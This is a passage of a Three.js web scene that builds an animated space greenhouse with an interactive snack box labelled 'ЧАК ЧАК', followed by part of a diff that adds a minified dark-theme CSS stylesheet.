beam([Math.cos(a) * .8, .36, Math.sin(a) * .8], [Math.cos(a) * 4.1, .36, Math.sin(a) * 4.1], .026, ceramic);
const stripe = box([.045, .012, 3.1], mint, station, [Math.sin(a) * 2.5, .35, Math.cos(a) * 2.5]); stripe.rotation.y = a;
}
const fans = [];
for (let i = 0; i < 3; i++) {
const a = i * Math.PI * 2 / 3 + .3, unit = new THREE.Group();
unit.position.set(Math.cos(a) * 3.45, 1.3, Math.sin(a) * 3.45); unit.rotation.y = -a + Math.PI / 2; station.add(unit);
box([.52, .55, .15], darkMetal, unit); const housing = torus(.205, .03, ceramic, unit); housing.rotation.x = 0; housing.position.z = .09;
const rotor = new THREE.Group(); rotor.position.z = .105; unit.add(rotor);
for (let blade = 0; blade < 4; blade++) { const fin = box([.07, .19, .016], titanium, rotor, [0, .09, 0]); fin.rotation.z = blade * Math.PI / 2; fin.position.set(Math.sin(blade * Math.PI / 2) * .085, Math.cos(blade * Math.PI / 2) * .085, 0); }
fans.push(rotor);
beam([-.24, -.72, 0], [-.24, -.25, 0], .025, titanium, unit); beam([.24, -.72, 0], [.24, -.25, 0], .025, titanium, unit);
}
for (let i = 0; i < 6; i++) {
const a = i * Math.PI / 3 + .12, pipe = new THREE.Group(); pipe.rotation.y = a; station.add(pipe);
beam([1.4, .7, 0], [3.85, .7, 0], .025, darkMetal, pipe);
for (let j = 0; j < 6; j++) { beam([1.55 + j * .39, .69, 0], [1.55 + j * .39, .66, -.15], .012, titanium, pipe); }
beam([3.82, .37, 0], [3.82, 1.65, 0], .026, titanium, pipe);
box([.72, .075, .2], darkMetal, pipe, [3.45, 1.65, 0]); box([.61, .012, .14], mint, pipe, [3.45, 1.603, 0]);
for (let j = 0; j < 4; j++) box([.018, .6, .03], titanium, pipe, [2.05 + j * .25, .94, -.5]);
beam([2.02, 1.2, -.5], [2.85, 1.2, -.5], .012, ceramic, pipe);
}
const bench = new THREE.Group(); bench.position.set(-1.05, 0, -.9); bench.rotation.y = -.35; station.add(bench);
box([1.05, .065, .7], darkMetal, bench, [0, 1.30, 0]);
for (const x of [-.45, .45]) for (const z of [-.28, .28]) box([.045, .94, .045], titanium, bench, [x, .81, z]);
box([.22, .035, .14], gold, bench, [.23, 1.36, -.13]);
box([.30, .02, .21], ceramic, bench, [-.21, 1.35, .07]);
const packageGroup = new THREE.Group(); packageGroup.position.set(-1.1, .64, -.78); packageGroup.rotation.y = -.35; station.add(packageGroup);
box([.68, .035, .52], ceramic, packageGroup, [0, -.02, 0]);
const cardboard = material(0x9d764b, .02, .86);
const labelCanvas = document.createElement('canvas'); labelCanvas.width = 512; labelCanvas.height = 256;
const lc = labelCanvas.getContext('2d'); lc.fillStyle = '#b49160'; lc.fillRect(0, 0, 512, 256);
lc.fillStyle = '#eadab5'; lc.fillRect(30, 35, 452, 178); lc.strokeStyle = '#705c42'; lc.lineWidth = 3; lc.strokeRect(30,35,452,178);
lc.fillStyle = '#302c25'; lc.font = 'bold 54px sans-serif'; lc.textAlign = 'center'; lc.fillText('ЧАК ЧАК', 256, 139); lc.font = '22px sans-serif'; lc.fillText('к чаю',256,181);
const labelTexture = new THREE.CanvasTexture(labelCanvas); labelTexture.colorSpace = THREE.SRGBColorSpace;
const labelMaterial = new THREE.MeshLambertMaterial({ map: labelTexture });
box([.56, .04, .42], cardboard, packageGroup, [0, .02, 0]);
for (const x of [-.265, .265]) box([.03, .25, .42], cardboard, packageGroup, [x, .135, 0]);
for (const z of [-.195, .195]) box([.53, .25, .03], cardboard, packageGroup, [0, .135, z]);
mesh(new THREE.PlaneGeometry(.48, .18), labelMaterial, packageGroup, [0, .15, .212]);
const lid = new THREE.Group(); lid.position.set(0, .27, -.21); packageGroup.add(lid);
box([.58, .03, .44], cardboard, lid, [0, 0, .21]);
const topLabel = mesh(new THREE.PlaneGeometry(.53, .36), labelMaterial, lid, [0, .016, .21]); topLabel.rotation.x = -Math.PI / 2;
const bites = new THREE.InstancedMesh(new THREE.CylinderGeometry(.026,.024,.08,5),gold,18); const biteTransform = new THREE.Object3D();
for(let i=0;i<18;i++){biteTransform.position.set((random()-.5)*.4,.095+random()*.07,(random()-.5)*.28);biteTransform.rotation.set(random()*Math.PI,random()*Math.PI,random()*Math.PI);biteTransform.updateMatrix();bites.setMatrixAt(i,biteTransform.matrix);}packageGroup.add(bites);
let packageOpen = false;
const soilCanvas = document.createElement('canvas'); soilCanvas.width = soilCanvas.height = 128; const soilContext = soilCanvas.getContext('2d');
soilContext.fillStyle = '#31271b'; soilContext.fillRect(0, 0, 128, 128);
for (let i = 0; i < 2000; i++) { const b = 25 + random() * 70; soilContext.fillStyle = `rgb(${b + 12},${b},${b * .65})`; soilContext.fillRect(random() * 128, random() * 128, 1 + random() * 2, 1 + random() * 2); }
const soilTexture = new THREE.CanvasTexture(soilCanvas); soilTexture.wrapS = soilTexture.wrapT = THREE.RepeatWrapping; soilTexture.repeat.set(2, 2); soilTexture.colorSpace = THREE.SRGBColorSpace;
const soil = (software ? new THREE.MeshLambertMaterial({ map: soilTexture }) : new THREE.MeshStandardMaterial({ map: soilTexture, roughness: 1 }));
const leafGeometry = new THREE.BufferGeometry();
const leafVertices = [], leafIndices = [];
for (let i = 0; i <= 8; i++) { const t = i / 8, width = Math.pow(Math.sin(t * Math.PI), .85) * .27; for (const side of [-1, 0, 1]) leafVertices.push(side * width, t * .9, Math.sin(t * Math.PI) * .19 - t * t * .18 + (side === 0 ? .055 : 0)); }
for (let i = 0; i < 8; i++) for (let j = 0; j < 2; j++) { const a = i * 3 + j; leafIndices.push(a, a + 1, a + 3, a + 1, a + 4, a + 3); }
leafGeometry.setAttribute('position', new THREE.Float32BufferAttribute(leafVertices, 3)); leafGeometry.setIndex(leafIndices); leafGeometry.computeVertexNormals();
const leafMaterials = [0x70b940, 0xa2c866, 0x358251, 0x509847].map(color => software ? new THREE.MeshLambertMaterial({ color, side: THREE.DoubleSide }) : new THREE.MeshStandardMaterial({ color, roughness: .52, metalness: .02, side: THREE.DoubleSide }));
const stemMat = material(0x5e8641, .02, .9);
const vegetation = [];
const fruitMaterials = [material(0xaf482b, .05, .6), material(0xe8a846, .05, .6)];
function plant(parent, x, z, size, species) {
const plantGroup = new THREE.Group(); plantGroup.position.set(x, .62, z); plantGroup.scale.setScalar(size); parent.add(plantGroup);
cylinder(.024, .037, .9, stemMat, plantGroup, [0, .43, 0], 5);
for (let j = 0; j < 7; j++) {
const leaf = mesh(leafGeometry, leafMaterials[(j + species) % 4], plantGroup, [0, .18 + j * .093, 0]);
leaf.rotation.set(.55 + j * .08, j * 2.4 + species, -.25); leaf.scale.setScalar(1.05 - j * .055);
}
if (species % 3 === 0) for (let j = 0; j < 3; j++) { const a = j * 2.1; mesh(new THREE.SphereGeometry(.09, 8, 6), fruitMaterials[j % 2], plantGroup, [Math.cos(a) * .15, .62 + j * .07, Math.sin(a) * .15]); }
vegetation.push({ group: plantGroup, phase: random() * Math.PI * 2 });
}
for (let bed = 0; bed < 6; bed++) {
const angle = bed * Math.PI / 3 + .11;
const bedGroup = new THREE.Group(); bedGroup.rotation.y = angle; station.add(bedGroup);
const shape = new THREE.Shape(); const start = .08, end = Math.PI / 3 - .12;
shape.absarc(0, 0, 3.77, start, end, false); shape.lineTo(Math.cos(end) * 1.35, Math.sin(end) * 1.35); shape.absarc(0, 0, 1.35, end, start, true); shape.closePath();
const bedGeo = new THREE.ExtrudeGeometry(shape, { depth: .23, bevelEnabled: true, bevelSize: .035, bevelThickness: .025, bevelSegments: 1, steps: 1, curveSegments: 12 }); bedGeo.rotateX(-Math.PI / 2);
mesh(bedGeo, ceramic, bedGroup, [0, .35, 0]);
const soilGeo = new THREE.ShapeGeometry(shape, 12); soilGeo.rotateX(-Math.PI / 2); const ground = mesh(soilGeo, soil, bedGroup, [0, .618, 0]); ground.scale.set(.965, 1, .965);
for (let row = 0; row < 3; row++) for (let col = 0; col < 3 + row; col++) {
const a = start + .11 + col / (2 + row) * (end - start - .23), r = 1.8 + row * .75;
plant(bedGroup, Math.cos(a) * r, -Math.sin(a) * r, .63 + random() * .6, bed);
}
}
cylinder(.7, .85, .32, ceramic, station, [0, .47, 0], 32);
cylinder(.31, .45, 1.55, darkMetal, station, [0, 1.38, 0], 16);
for (let i = 0; i < 6; i++) { const a = i * Math.PI / 3; beam([Math.cos(a) * .33, .7, Math.sin(a) * .33], [Math.cos(a) * .27, 2.12, Math.sin(a) * .27], .027, mint); }
torus(.36, .055, gold, station, 2.13);
const crown = new THREE.Group(); crown.position.y = 1.5; station.add(crown);
for (let i = 0; i < 12; i++) { const leaf = mesh(leafGeometry, leafMaterials[i % 4], crown, [0, .6 + (i % 3) * .18, 0]); leaf.rotation.set(.75 + (i % 4) * .2, i * 2.4, 0); leaf.scale.set(1.5, 1.65, 1.5); }
const domeRadius = 4.22, domeY = .39;
const ico = new THREE.IcosahedronGeometry(domeRadius, 2); const positions = ico.attributes.position;
const triangles = [];
for (let i = 0; i < positions.count; i += 3) {
let polygon = [0, 1, 2].map(j => new THREE.Vector3().fromBufferAttribute(positions, i + j));
const clipped = [];
for (let j = 0; j < polygon.length; j++) {
const a = polygon[j], b = polygon[(j + 1) % polygon.length], insideA = a.y >= -.00001, insideB = b.y >= -.00001;
if (insideA) clipped.push(a);
if (insideA !== insideB) clipped.push(a.clone().lerp(b, -a.y / (b.y - a.y)));
}
for (let j = 1; j < clipped.length - 1; j++) for (const vertex of [clipped[0], clipped[j], clipped[j + 1]]) triangles.push(vertex.x, Math.max(0, vertex.y), vertex.z);
}
ico.dispose();
const domeGeo = new THREE.BufferGeometry(); domeGeo.setAttribute('position', new THREE.Float32BufferAttribute(triangles, 3)); domeGeo.computeVertexNormals();
const glassMat = software ? new THREE.MeshPhongMaterial({ color: 0x9dcfc6, transparent: true, opacity: .1, shininess: 90, side: THREE.DoubleSide, depthWrite: false }) : new THREE.MeshPhysicalMaterial({ color: 0xa8d9d1, transparent: true, opacity: .095, roughness: .13, metalness: .42, clearcoat: 1, clearcoatRoughness: .15, side: THREE.DoubleSide, depthWrite: false });
const glass = mesh(domeGeo, glassMat, station, [0, domeY, 0]); glass.castShadow = false; glass.receiveShadow = false; glass.renderOrder = 3;
const edges = new THREE.EdgesGeometry(domeGeo, 1); const edgePos = edges.attributes.position;
const struts = new THREE.InstancedMesh(new THREE.CylinderGeometry(.018, .018, 1, 5), titanium, edgePos.count / 2);
const dummy = new THREE.Object3D(), up = new THREE.Vector3(0, 1, 0), joints = new Map();
for (let i = 0; i < edgePos.count; i += 2) {
const a = new THREE.Vector3().fromBufferAttribute(edgePos, i), b = new THREE.Vector3().fromBufferAttribute(edgePos, i + 1);
const direction = b.clone().sub(a); dummy.position.copy(a).add(b).multiplyScalar(.5); dummy.position.y += domeY; dummy.quaternion.setFromUnitVectors(up, direction.clone().normalize()); dummy.scale.set(1, direction.length(), 1); dummy.updateMatrix(); struts.setMatrixAt(i / 2, dummy.matrix);
for (const vertex of [a, b]) joints.set(vertex.toArray().map(n => n.toFixed(3)).join(','), vertex);
}
struts.castShadow = true; station.add(struts);
const nodes = new THREE.InstancedMesh(new THREE.SphereGeometry(.043, 6, 5), gold, joints.size); let jointIndex = 0;
for (const vertex of joints.values()) { dummy.position.copy(vertex); dummy.position.y += domeY; dummy.rotation.set(0, 0, 0); dummy.scale.setScalar(1); dummy.updateMatrix(); nodes.setMatrixAt(jointIndex++, dummy.matrix); } station.add(nodes);
edges.dispose();
torus(4.22, .073, ceramic, station, domeY);
torus(4.28, .025, amber, station, domeY + .02);
cylinder(.19, .25, .2, gold, station, [0, 4.65, 0], 16); beam([0, 4.7, 0], [0, 5.38, 0], .024, titanium);
const beacon = mesh(new THREE.SphereGeometry(.07, 12, 8), amber, station, [0, 5.38, 0]);
const beaconGlow = glow(station, [0, 5.38, 0], 0xffc989, 1.1, .9);
const beaconLight = new THREE.PointLight(0xffc175, 5, 5); beaconLight.position.copy(beacon.position); station.add(beaconLight);
const ring = new THREE.Group(); ring.position.y = -.42; station.add(ring);
torus(6.03, .095, titanium, ring); torus(6.53, .065, gold, ring); torus(6.5, .022, amber, ring, .1); torus(6.03, .018, mint, ring, -.15);
const ringDeck = mesh(new THREE.RingGeometry(6.07, 6.47, 128), (software ? new THREE.MeshPhongMaterial({ color: 0x43575b, shininess: 30, side: THREE.DoubleSide }) : new THREE.MeshStandardMaterial({ color: 0x43575b, metalness: .8, roughness: .4, side: THREE.DoubleSide })), ring); ringDeck.rotation.x = -Math.PI / 2;
for (let i = 0; i < 48; i++) {
const a = i * Math.PI / 24, b = a + Math.PI / 24;
beam([Math.cos(a) * 6.05, 0, Math.sin(a) * 6.05], [Math.cos(b) * 6.5, 0, Math.sin(b) * 6.5], .026, ceramic, ring);
if (i % 4 === 0) { const lamp = box([.12, .04, .35], i % 8 ? mint : amber, ring, [Math.cos(a) * 6.29, .055, Math.sin(a) * 6.29]); lamp.rotation.y = -a; }
}
const pods = new THREE.Group(); station.add(pods);
for (let i = 0; i < 4; i++) {
const a = i * Math.PI / 2 + Math.PI / 4, pod = new THREE.Group(); pod.rotation.y = a; pods.add(pod);
box([.6, .24, 2.25], titanium, pod, [0, -.5, 5.35]); box([.3, .05, 2.0], black, pod, [0, -.355, 5.4]);
for (const side of [-1, 1]) beam([side * .2, -.8, 4], [side * .32, -.5, 6.2], .045, gold, pod);
const tube = cylinder(.42, .42, 1.55, ceramic, pod, [0, -.35, 6.24], 20); tube.rotation.x = Math.PI / 2;
for (const z of [5.6, 6.0, 6.6, 6.9]) { const collar = torus(.43, .035, titanium, pod); collar.position.set(0, -.35, z); collar.rotation.x = 0; }
const hatch = cylinder(.3, .3, .1, darkMetal, pod, [0, -.35, 7.05], 16); hatch.rotation.x = Math.PI / 2;
glow(pod, [0, -.35, 7.13], 0x72f6d0, .5, .6);
}
const solarMat = material(0x173c59, .72, .26);
const solarLines = material(0x53838c, .55, .45);
for (const sign of [-1, 1]) {
const wing = new THREE.Group(); wing.position.set(sign * 6.7, -.65, -.65); wing.rotation.z = sign * .1; station.add(wing);
box([3.9, .14, .22], gold, wing, [sign * .35, 0, 0]);
for (const z of [-1.05, 1.05]) {
box([3.0, .09, 1.72], titanium, wing, [sign * .55, 0, z]); box([2.9, .02, 1.62], solarMat, wing, [sign * .55, .058, z]);
for (let i = 0; i < 10; i++) box([.012, .015, 1.6], solarLines, wing, [sign * .55 - 1.4 + i * .31, .074, z]);
for (let j = 0; j < 5; j++) box([2.9, .015, .009], solarLines, wing, [sign * .55, .075, z - .8 + j * .4]);
}
}
const orbit = new THREE.Group(); orbit.rotation.z = .16; station.add(orbit);
const orbitRail = torus(7.32, .012, material(0x3d6e73, .4, .6), orbit, .15);
const dronePivot = new THREE.Group(); orbit.add(dronePivot);
const drone = new THREE.Group(); drone.position.set(7.32, .15, 0); dronePivot.add(drone);
mesh(new THREE.OctahedronGeometry(.21), ceramic, drone); box([.95, .04, .25], solarMat, drone); glow(drone, [0, 0, .22], 0x8fdfff, 1, .8);
const dish = mesh(new THREE.SphereGeometry(.43, 20, 10, 0, Math.PI * 2, 0, Math.PI / 2), ceramic, station, [-3.5, -.6, 4.5]); dish.rotation.z = -.6; dish.rotation.x = .8;
const windTime = { value: 0 };
for (const leafMaterial of leafMaterials) {
leafMaterial.onBeforeCompile = shader => {
shader.uniforms.windTime = windTime;
shader.vertexShader = 'uniform float windTime;\n' + shader.vertexShader;
shader.vertexShader = shader.vertexShader.replace('#include <begin_vertex>', '#include <begin_vertex>\ntransformed.x += sin(windTime*.9+position.x*1.7+position.z)*.035*max(0.,position.y-.65);');
};
leafMaterial.customProgramCacheKey = () => 'greenhouse-wind-v1';
}
function batch(root, excluded = new Set()) {
scene.updateMatrixWorld(true);
const inverse = root.matrixWorld.clone().invert(), groups = new Map(), sources = [];
function visit(object) {
if (excluded.has(object)) return;
if (object.isMesh && !object.isInstancedMesh && !Array.isArray(object.material)) {
const key = object.material.uuid;
if (!groups.has(key)) groups.set(key, { material: object.material, position: [], normal: [], uv: [], cast: false, receive: false });
const group = groups.get(key), geometry = object.geometry.index ? object.geometry.toNonIndexed() : object.geometry.clone();
geometry.applyMatrix4(new THREE.Matrix4().multiplyMatrices(inverse, object.matrixWorld));
const attributes = geometry.attributes;
for (let i = 0; i < attributes.position.array.length; i++) group.position.push(attributes.position.array[i]);
for (let i = 0; i < attributes.normal.array.length; i++) group.normal.push(attributes.normal.array[i]);
if (attributes.uv) for (let i = 0; i < attributes.uv.array.length; i++) group.uv.push(attributes.uv.array[i]);
else for (let i = 0; i < attributes.position.count * 2; i++) group.uv.push(0);
group.cast ||= object.castShadow; group.receive ||= object.receiveShadow;
sources.push(object); geometry.dispose();
}
for (const child of object.children) visit(child);
}
for (const child of root.children) visit(child);
for (const source of sources) source.removeFromParent();
for (const group of groups.values()) {
const geometry = new THREE.BufferGeometry();
geometry.setAttribute('position', new THREE.Float32BufferAttribute(group.position, 3)); geometry.setAttribute('normal', new THREE.Float32BufferAttribute(group.normal, 3)); geometry.setAttribute('uv', new THREE.Float32BufferAttribute(group.uv, 2));
const merged = new THREE.Mesh(geometry, group.material); merged.castShadow = group.cast; merged.receiveShadow = group.receive; root.add(merged);
}
}
batch(station, new Set([glass, ring, orbit, crown, packageGroup, ...fans])); batch(ring); batch(crown); batch(drone); fans.forEach(fan => batch(fan));
let interior = false;
let inspectingPackage = false;
let inspectionTween = null;
const normalMinDistance = 2.4;
const lidOpenAngle = -.65;
function endInspection() {
inspectingPackage = false; inspectionTween = null;
controls.enabled = true; controls.enableDamping = !paused;
controls.minDistance = normalMinDistance;
camera.fov = mobile() ? 50 : 39; camera.updateProjectionMatrix();
}
function focusPackage() {
interior = true; inspectingPackage = true;
controls.minDistance = .7;
camera.fov = 65; camera.updateProjectionMatrix();
controls.enableDamping = false;
scene.updateMatrixWorld(true);
const destination = packageGroup.localToWorld(new THREE.Vector3(0, .45, .9));
const target = packageGroup.localToWorld(new THREE.Vector3(0, .2, 0));
if (paused || reducedMotion.matches) {
inspectionTween = null; camera.position.copy(destination); controls.target.copy(target);
controls.enabled = true; controls.update();
} else {
inspectionTween = { from: camera.position.clone(), fromTarget: controls.target.clone(), to: destination, target, start: performance.now() };
controls.enabled = false;
}
requestRender();
}
function updateInspection(now) {
if (!inspectionTween) return;
const t = paused || reducedMotion.matches ? 1 : Math.min(1, (now - inspectionTween.start) / 650);
const eased = t*t*(3-2*t);
camera.position.lerpVectors(inspectionTween.from, inspectionTween.to, eased);
controls.target.lerpVectors(inspectionTween.fromTarget, inspectionTween.target, eased);
if(t === 1) { inspectionTween = null; controls.enabled = true; controls.enableDamping = !paused; }
}
function interiorCamera() {
endInspection();
interior = true;
scene.updateMatrixWorld(true);
controls.target.copy(station.localToWorld(new THREE.Vector3(0, .95, -.15)));
camera.position.copy(station.localToWorld(new THREE.Vector3(2.6, 2.25, 3.2)));
controls.update(); requestRender();
}
canvas.addEventListener('dblclick', event => { event.preventDefault(); if (!packageHit(pointAt(event))) interiorCamera(); });
const hint = document.querySelector('#object-hint'), raycaster = new THREE.Raycaster();
const opaque = [];
station.traverse(object => { if (object.isMesh && object !== glass && !object.material?.transparent) opaque.push(object); });
function packageHit(point) {
if (camera.position.distanceTo(controls.target) > 16) return false;
scene.updateMatrixWorld(true); camera.updateMatrixWorld(); raycaster.setFromCamera(point, camera);
const candidate = raycaster.intersectObject(packageGroup, true)[0];
if (!candidate) return false;
raycaster.far = candidate.distance + .02;
const first = raycaster.intersectObjects(opaque, false)[0]; raycaster.far = Infinity;
return !first || first.distance >= candidate.distance - .025;
}
function pointAt(event) { const b=canvas.getBoundingClientRect();return new THREE.Vector2((event.clientX-b.left)/b.width*2-1,-(event.clientY-b.top)/b.height*2+1); }
function inspectPackage() {
packageOpen = !packageOpen; canvas.dataset.discovered = 'true';
if (paused || reducedMotion.matches) lid.rotation.x = packageOpen ? lidOpenAngle : 0;
if (packageOpen) focusPackage();
hint.textContent = packageOpen ? 'ЧАК ЧАК. Коробка открыта. К чаю.' : 'ЧАК ЧАК. Коробка закрыта.'; hint.hidden=false; requestRender();
}
let down = null, hoverTime = 0;
canvas.addEventListener('pointerdown', event => { down={x:event.clientX,y:event.clientY}; });
canvas.addEventListener('pointerup', event => { if(down && Math.hypot(event.clientX-down.x,event.clientY-down.y)<5 && packageHit(pointAt(event))) inspectPackage(); down=null; });
canvas.addEventListener('pointercancel',()=>{down=null;});
canvas.addEventListener('pointermove',event=>{
if(down || performance.now()-hoverTime<150)return;hoverTime=performance.now();
const hit=packageHit(pointAt(event)); canvas.style.cursor=hit?'pointer':'';
if(hit){hint.textContent='Коробка под столом · нажмите, чтобы осмотреть';hint.hidden=false;}
else if(!packageOpen)hint.hidden=true;
},{passive:true});
canvas.addEventListener('pointerleave',()=>{canvas.style.cursor='';if(!packageOpen)hint.hidden=true;});
canvas.addEventListener('keydown',event=>{if(event.key==='Enter'&&packageHit(new THREE.Vector2(0,0))){event.preventDefault();inspectPackage();}});
function resetCamera() {
endInspection();
interior = false;
controls.target.set(0, mobile() ? .2 : .9, 0);
const distance = mobile() ? 42 : (innerWidth / innerHeight < 1.35 ? 26 : 23);
const vector = new THREE.Vector3(10.5, 9, 15.5).normalize().multiplyScalar(distance);
camera.position.copy(controls.target).add(vector); controls.update(); requestRender();
}
function zoom(factor) { const offset = camera.position.clone().sub(controls.target); offset.setLength(THREE.MathUtils.clamp(offset.length() * factor, controls.minDistance, controls.maxDistance)); camera.position.copy(controls.target).add(offset); controls.update(); requestRender(); }
function rotateCamera(horizontal, vertical) { const spherical = new THREE.Spherical().setFromVector3(camera.position.clone().sub(controls.target)); spherical.theta += horizontal; spherical.phi = THREE.MathUtils.clamp(spherical.phi + vertical, controls.minPolarAngle, controls.maxPolarAngle); camera.position.copy(controls.target).add(new THREE.Vector3().setFromSpherical(spherical)); controls.update(); requestRender(); }
function syncMotion() {
motionButton.setAttribute('aria-pressed', String(paused)); motionButton.textContent = paused ? 'Анимация' : 'Пауза';
motionButton.setAttribute('aria-label', paused ? 'Включить анимацию' : 'Остановить анимацию'); motionButton.title = paused ? 'Включить анимацию' : 'Остановить анимацию';
controls.enableDamping = !paused; previous = 0; requestRender();
}
document.querySelector('#camera-zoom-in').addEventListener('click', () => zoom(.86));
document.querySelector('#camera-zoom-out').addEventListener('click', () => zoom(1.16));
motionButton.addEventListener('click', () => { paused = !paused; syncMotion(); });
reducedMotion.addEventListener('change', () => { paused = reducedMotion.matches; syncMotion(); });
canvas.addEventListener('keydown', event => {
const orbitStep = event.shiftKey ? .002 : .1;
const actions = { i: interiorCamera, I: interiorCamera, ArrowLeft: () => rotateCamera(-orbitStep, 0), ArrowRight: () => rotateCamera(orbitStep, 0), ArrowUp: () => rotateCamera(0, -.08), ArrowDown: () => rotateCamera(0, .08), '+': () => zoom(.9), '=': () => zoom(.9), '-': () => zoom(1.1), Home: resetCamera, ' ': () => { paused = !paused; syncMotion(); } };
if (actions[event.key]) { event.preventDefault(); actions[event.key](); }
});
controls.addEventListener('start', () => { interacting = true; });
controls.addEventListener('end', () => { interacting = false; });
controls.addEventListener('change', requestRender);
canvas.addEventListener('webglcontextlost', event => { event.preventDefault(); contextLost = true; gpuFence = null; cancelAnimationFrame(frame); frame = 0; fallback.hidden = false; fallback.querySelector('strong').textContent = 'Визуальный канал приостановлен'; fallback.querySelector('p').textContent = 'Графический контекст потерян. Перезагрузите страницу, чтобы восстановить сцену. Терминал доступен.'; });
canvas.addEventListener('webglcontextrestored', () => { contextLost = false; fallback.hidden = true; requestRender(); });
document.addEventListener('visibilitychange', () => { hidden = document.hidden; if (hidden) { cancelAnimationFrame(frame); frame = 0; } else { previous = 0; requestRender(); } });
let wasMobile = mobile();
addEventListener('resize', () => { camera.aspect = innerWidth / innerHeight; camera.fov = inspectingPackage ? 65 : (mobile() ? 50 : 39); camera.updateProjectionMatrix(); renderer.setPixelRatio(pixelRatio()); renderer.setSize(innerWidth, innerHeight, false); if (wasMobile !== mobile()) { wasMobile = mobile(); resetCamera(); } requestRender(); });
function requestRender() { if (!frame && !hidden && !contextLost) frame = requestAnimationFrame(render); }
function render(now) {
frame = 0;
if (gpuFence) {
const ready = gl.clientWaitSync(gpuFence, 0, 0);
if (ready === gl.TIMEOUT_EXPIRED) { requestRender(); return; }
gl.deleteSync(gpuFence); gpuFence = null;
}
if (!paused && now - lastPaint < frameInterval) { requestRender(); return; }
lastPaint = now;
const delta = previous ? Math.min((now - previous) / 1000, .05) : 0; previous = now;
if (!paused) {
elapsed += delta;
if (!interacting && !interior) station.rotation.y += delta * .019;
if (!inspectingPackage) station.position.y = Math.sin(elapsed * .36) * .06;
dronePivot.rotation.y = elapsed * .13;
ring.rotation.y = -elapsed * .013;
beaconGlow.material.opacity = .42 + (Math.sin(elapsed * 2.2) + 1) * .26;
beaconLight.intensity = 3 + (Math.sin(elapsed * 2.2) + 1) * 2;
windTime.value = elapsed;
fans.forEach((fan, i) => { fan.rotation.z = elapsed * (2.3 + i*.3); });
lid.rotation.x += ((packageOpen ? lidOpenAngle : 0) - lid.rotation.x) * Math.min(1, delta * 8);
drone.rotation.y = Math.sin(elapsed*.4)*.2;
crown.rotation.y = Math.sin(elapsed * .35) * .06;
planet.rotation.y = elapsed * .003;
clouds.rotation.y = elapsed * .0038;
underlight.intensity = 32 + Math.sin(elapsed * .5) * 4;
}
updateInspection(now);
controls.update();
if (paintCount++ % 6 === 0 || paused) renderer.shadowMap.needsUpdate = true;
renderer.render(scene, camera);
if (software) { gpuFence = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); gl.flush(); }
canvas.dataset.ready = 'true'; loading.hidden = true; fallback.hidden = true;
if (!paused) requestRender();
}
function inspectionView() {
const samples = [[0,.15,.214],[-.19,.09,.214],[.19,.09,.214],[-.19,.21,.214],[.19,.21,.214]];
const projected = samples.map(point => packageGroup.localToWorld(new THREE.Vector3(...point)).project(camera));
const corners = projected.slice(1).map(p=>({x:(p.x+1)*innerWidth/2,y:(1-p.y)*innerHeight/2}));
return { focused: inspectingPackage, open: packageOpen, labelCenterVisible: packageHit(new THREE.Vector2(projected[0].x, projected[0].y)), tweening: Boolean(inspectionTween), visibleSamples: projected.filter(p=>Math.abs(p.x)<1 && Math.abs(p.y)<1 && p.z<1 && packageHit(new THREE.Vector2(p.x,p.y))).length, labelWidth: Math.max(...corners.map(p=>p.x))-Math.min(...corners.map(p=>p.x)), labelHeight: Math.max(...corners.map(p=>p.y))-Math.min(...corners.map(p=>p.y)), corners };
}
window.greenhouseScene = { getInspectionView: inspectionView, getInspectionPoint: () => { const v=packageGroup.localToWorld(new THREE.Vector3(0,.15,.23)).project(camera);return {x:(v.x+1)*innerWidth/2,y:(1-v.y)*innerHeight/2,visible:packageHit(new THREE.Vector2(v.x,v.y))}; }, getStats: () => ({ revision: THREE.REVISION, starfield: { mode: 'baked-texture', width: skyCanvas.width, height: skyCanvas.height, version: skyTexture.version }, calls: renderer.info.render.calls, triangles: renderer.info.render.triangles, geometries: renderer.info.memory.geometries, paused, software, orbitMinDistance: controls.minDistance, fov: camera.fov, inspectingPackage, pixelRatio: renderer.getPixelRatio(), shadows: renderer.shadowMap.enabled, frameLimit: software ? 24 : 30, frames: paintCount, camera: camera.position.toArray(), rotation: station.rotation.y, contextLost }) };
resetCamera(); syncMotion(); requestRender();
}
+289
View File
@@ -0,0 +1,289 @@
:root{color-scheme:dark;--ink:#e0e6e7;--muted:#a2adb3;--line:#3b464e;--mint:#b7d9c7;--amber:#e3ba79;--mono:ui-monospace,'DejaVu Sans Mono',monospace;font-family:Arial,Helvetica,sans-serif;font-size:13px}*{box-sizing:border-box}html,body{margin:0;width:100%;height:100%;overflow:hidden;background:#070d13;color:var(--ink)}button,input,textarea,select{font:inherit}button{cursor:pointer;touch-action:manipulation}a{color:inherit}button:disabled{opacity:.45;cursor:not-allowed}button:focus-visible,input:focus-visible,select:focus-visible,textarea:focus-visible,[tabindex]:focus-visible{outline:2px solid #f0cb82;outline-offset:2px}[hidden]{display:none!important}button{border:1px solid var(--line);background:#202a31;color:var(--ink);min-height:34px;padding:6px 12px;border-radius:3px}button:hover:not(:disabled){background:#303c43}button[aria-pressed=true],button[aria-expanded=true]{background:#34483f;border-color:#789a87}input,textarea,select{color:var(--ink);background:#0c141b;border:1px solid #55616b;padding:10px;width:100%;border-radius:2px;min-width:0}input::placeholder,textarea::placeholder{color:#96a0a9}label{display:block;font-size:12px;color:#c5cdd0}textarea{resize:vertical}.skip{position:absolute;top:-80px;left:20px;padding:12px;background:#dae9df;color:#111;z-index:60}.skip:focus{top:12px}#observatory{position:relative;width:100%;height:100%;height:100svh;overflow:hidden;background:#070d13}#space{position:absolute;inset:0;display:block;width:100%;height:100%;touch-action:none;cursor:grab;outline-offset:-5px}#space:active{cursor:grabbing}.vignette{position:absolute;inset:0;pointer-events:none;background:linear-gradient(#070d1333,transparent 18%,transparent 80%,#070d1333)}.vitals{position:absolute;bottom:105px;left:20px;width:213px;padding:14px;background:#101921e8;border:1px solid #3a464e;border-radius:3px;pointer-events:none}.vitals-heading{font-size:12px;display:flex;justify-content:space-between;border-bottom:1px solid var(--line);padding-bottom:10px}.vitals-heading strong{font-size:12px;color:var(--mint);font-weight:400}.vital-line{display:flex;align-items:center;justify-content:space-between;font-size:12px;margin-top:11px}.vital-line>span{color:var(--muted)}.vital-line strong{font:13px var(--mono);font-weight:400}.vitals>small{display:block;font-size:10px;color:var(--muted);margin-top:14px}.camera-controls{position:absolute;right:20px;bottom:105px;display:flex;gap:5px}.camera-controls button{min-width:36px;background:#111c24ed}.command-dock{position:absolute;left:0;right:0;bottom:28px;display:flex;align-items:stretch;gap:6px;padding:9px 